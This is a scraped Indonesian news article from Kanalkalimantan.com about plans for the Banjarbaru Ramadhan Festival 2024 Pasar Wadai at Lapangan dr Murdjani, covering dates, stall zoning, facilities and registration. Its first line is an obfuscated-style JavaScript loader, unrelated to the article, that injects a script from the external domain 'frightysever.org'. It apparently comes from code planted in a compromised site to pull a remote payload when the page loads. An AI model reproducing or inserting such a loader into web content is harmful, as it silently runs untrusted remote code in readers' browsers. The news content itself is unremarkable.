(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

Lapangan Murdjani Siap Dijadikan Spot Pasar Wadai Banjarbaru


KANALKALIMANTAN.COM, BANJARBARU – Lapangan dr Murdjani Banjarbaru kembali menjadi spot rencana pelaksanaan event tahunan Pasar Wadai di ibu kota Kalimantan Selatan, Maret 2024 mendatang.

Event kali ini dipersembahkan Dinas Kepemudaan, Olahraga, Kebudayaan dan Pariwisata (Disbporabudpar) Kota Banjarbaru dengan tajuk Banjarbaru Ramadhan Festival 2024 Pasar Wadai JUARA bertagline Spread the Joy of Ramadhan.

Pasar wadai yang dinanti masyarakat akan hadir di lokasi yang luas dengan menyediakan berbagai macam tenant selama 26 hari Ramadhan.

Jika mengacu pada perkiraan awal bulan Ramadhan, Banjarbaru Ramadhan Festival 2024 kemungkinan besar dimulai dari 12 Maret hingga 6 April 2024.

Baca juga: Dua Kecamatan di Banjarbaru Susul Perampungan Rapat Pleno Rekapitulasi Pemilu 2024

Jam operasional dimulai dari sekira pukul 16.00 Wita hingga pukul 22.00 Wita. Akan tetapi di jeda Shalat Magrib dan Isya hingga Tarawih, aktivitas ditangguhkan dengan tujuan menjaga kekhusyuan masyarakat yang ingin beribadah.

Kepala Disporabudpar Banjarbaru, Ahmad Yani Makkie mengatakan Banjarbaru Ramadhan Festival 2024 mengambil lokasi strategis dan ramai di pusat kota yakni lapangan dr Murdjani Banjarbaru.

Selain event utamanya yakni Pasar Wadai, Banjarbaru Ramadhan Festival 2024 akan dipenuhi dengan berbagai lomba, pentas dan festival Islami maupun seni budaya.

Konsep ini sendiri diakui merupakan permintaan langsung Wali Kota Banjarbaru Aditya Mufti Ariffin, yang menempatkan konsep Agamis sebagaimana visi Banjarbaru “JUARA” (akronim Maju, Agamis dan Sejahtera).

Baca juga: Dapil III Liang Anggang Selesaikan Rekapitulasi, Ini 5 Parpol Peraih Suara Terbanyak

“Tahun ini konsepnya juga banyak melibatkan anak-anak atau pelajar. Dari tadarus Al Qur’an, Tahfidz Quran, Dai Cilik, Habsyi, berbuka bersama anak yatim piatu dan banyak aktivitas islami lainnya. Semua ini merupakan masukan dari Wali Kota,” ujar Ahmad Yani Makkie, Senin (26/2/2024) pagi.

Di tahun ini, kata dia, Banjarbaru Ramadhan Festival 2024 dipastikan akan melibatkan UMKM binaan dari program RT Mandiri, yang merupakan salah satu program unggulan Pemko Banjarbaru di bawah kepemimpinan Wali Kota Aditya.

“Total ada sekitar 20 stand untuk UMKM binaan RT Mandiri perwakilan dari 20 kelurahan di Kota Banjarbaru. Untuk stand RT Mandiri ini bersifat gratis,” sebut dia.

Banjarbaru Ramadhan Festival 2024 juga akan menerapkan kebijakan dan penyesuaian baru untuk tata letak ataupun zonasi para pedagang.

Baca juga: Kasus Kekerasan Seksual Meningkat, Anak Darurat Konten Pornografi

Hal ini kata Yani sebagai upaya untuk terus menjaga dan menggalakan nilai-nilai budaya Pasar Wadai secara turun temurun.

“Berdasarkan konsep dari pihak pelaksana EO (Event Organizer), layout atau tata letak dibagi berbagai kategori, lebih dari separo stand jenis jualannya adalah wadai takjil dan masakan banjar yang memang selalu dinanti saat bulan Ramadan,” sambungnya.

Yani Makie berharap bahwa keinginan dan upaya ini akan disambut baik dan kooperatif oleh para pedagang Pasar Wadai. Hal ini katanya juga sebagaimana arahan dan harapan pimpinan.

Event Director Serikart Organizer, Muhammad Rifani selaku pelaksana Banjarbaru Ramadhan Festival 2024 menambahkan, jika tata letak zonasi stand atau pedagang event terbagi menjadi lima kategori dasar.

Pertama ada zona pedagang wadai atau takjil. Kemudian zonasi masakan banjar ringan, zonasi masakan banjar basah dan masakan nusantara. Serta zonasi UMKM kuliner dan non kuliner yang cenderung jenis dagangannya lebih bisa variatif.

Baca juga: Pemancing Diduga Tenggelam, Tim Lakukan Pencarian di Sungai Riam Kiwa

“Sesuai arahan dan atensi dari Pemko Banjarbaru, komposisi zonasi atau jenis jualannya diharapkan bisa memenuhi 70% kuliner masakan banjar atau nusantara dan 30% untuk kategori reguler,” ucapnya.

Di tahun ini, untuk jenis stand kata Rifani juga terbagi menjadi tiga tipe. Dari jenis booth terbuka ukuran 2×2 meter, lalu tenda kerucut dengan tirai di semua sisi ukuran 3×3 meter serta tenda kerucut dengan tirai di semua sisi ukuran 5×5 meter.

“Untuk fasilitasnya berupa meja dan kursi, plang nama beserta pajak reklamenya. Pedagang juga mendapat apron, masker, sarung tangan, topi masak, sajadah, lanyard dan ID Card serta daya listrik selama 26 hari di jam operasional, termasuk jasa kebersihan area dan keamanan area,” sebut dia.

Untuk fasilitas umum atau pengunjung, tahun ini kata Rifani juga akan disediakan laman resmi atau website khusus BRF24. Isinya berupa informasi pedagang dan juga aktivitas atau kegiatan-kegiatannya.

Baca juga: Amphibious M3I, Ranpur Kostrad Jadi Perhatian di IIMS 2024

Di area lapangan Murjani, selain toilet. Pihaknya turut menyediakan musala dengan pembatas jemaah pria dan wanita. Termasuk juga fasilitas wudhu yang dibuat terpisah antara laki-laki dan perempuan.

“Kita juga menempatkan satu ruangan laktasi untuk ibu-ibu menyusui yang nanti berkunjung ke area event,” sambungnya.

Sejak pendaftaran stand atau tenant dibuka pada Kamis (22/2/2024) kemarin. Saat ini kurang lebih dua hari dibuka diketahui sudah ada sekitar 65-70 persen yang terisi.

“Total keseluruhan stand atau tenant yang kita sediakan untuk khusus pedagang ada 226 yang terbagi menjadi lima kategori. Dari pembaharuan data tim kita pada Jumat (23/2/2024) malam, yang belum terisi ada sekitar 40 stand dari 226 stand. Angka ini sangat dinamis, jadi bisa saja segera berubah” imbuh dia.

Baca juga: Besi Penutup Drainase di Bawah Jembatan “Basit” Hilang, Diduga Dicuri Sekelompok Orang

Terakhir, terkait informasi sewa stand pada event BRF24 ini, calon atau kandidat pedagang katanya bisa mengunjungi offisial akun sosial media Instagram event yakni @bjbramadhanfest24. Partisipan stand atau tenant pastinya juga terbuka untuk umum.

“Disana sudah tertera admin atau narahubung sesuai kategorinya, jadi calon pedagang bisa menghubungi narahubung yang linier dengan jenis usahanya,” tuntas dia. (Kanalkalimantan.com/wanda)

Reporter : wanda
Editor : bie

 


Risa

Recent Posts

Dilakban di Paha, Empat Orang di Bandara Juwata Tarakan Selundupkan 4 Kg Sabu

KANALKALIMANTAN.COM, TARAKAN - Empat orang calon penumpang pesawat dengan rute Tarakan-Makassar batal berangkat lantaran kedapatan… Read More

6 jam ago

Satgas TMMD Bikin Sumur Bor untuk Warga Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pengerjaan sumur bor menjadi salah satu sasaran fisik program TNI Manunggal Membangun… Read More

7 jam ago

Jemaah Termuda Kloter 1 Daftar Haji saat Umur 10 Tahun, Setor 2014 Berangkat 2024

KANALKALIMANTAN.COM, BANJARBARU - Berangkat haji ke Baitullah menunaikan Rukun Islam kelima sepenuhnya adalah panggilan. Berusia… Read More

10 jam ago

Embarkasi Banjarmasin Berangkatkan 5.759 JCH Kalsel-Kalteng, Pelayanan Penuh Jemaah Lansia

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 4.071 jemaah calon haji (JCH) asal Kalimantan Selatan (Kalsel) akan berangkat… Read More

11 jam ago

Caleg Terpilih Tak Harus Mundur Jika Maju Pilkada, Begini Penjelasan Ketua KPU Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Caleg Anggota Dewan Perwakilan Rakyat (DPR), Anggota Dewan Perwakilan Rakyat Daerah (DPRD)… Read More

12 jam ago

Lepas Keberangkatan 320 Calon Haji, Ini Pesan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Bagian dalam dan luar halaman Mahligai Sultan Adam di Jalan A Yani… Read More

14 jam ago

This website uses cookies.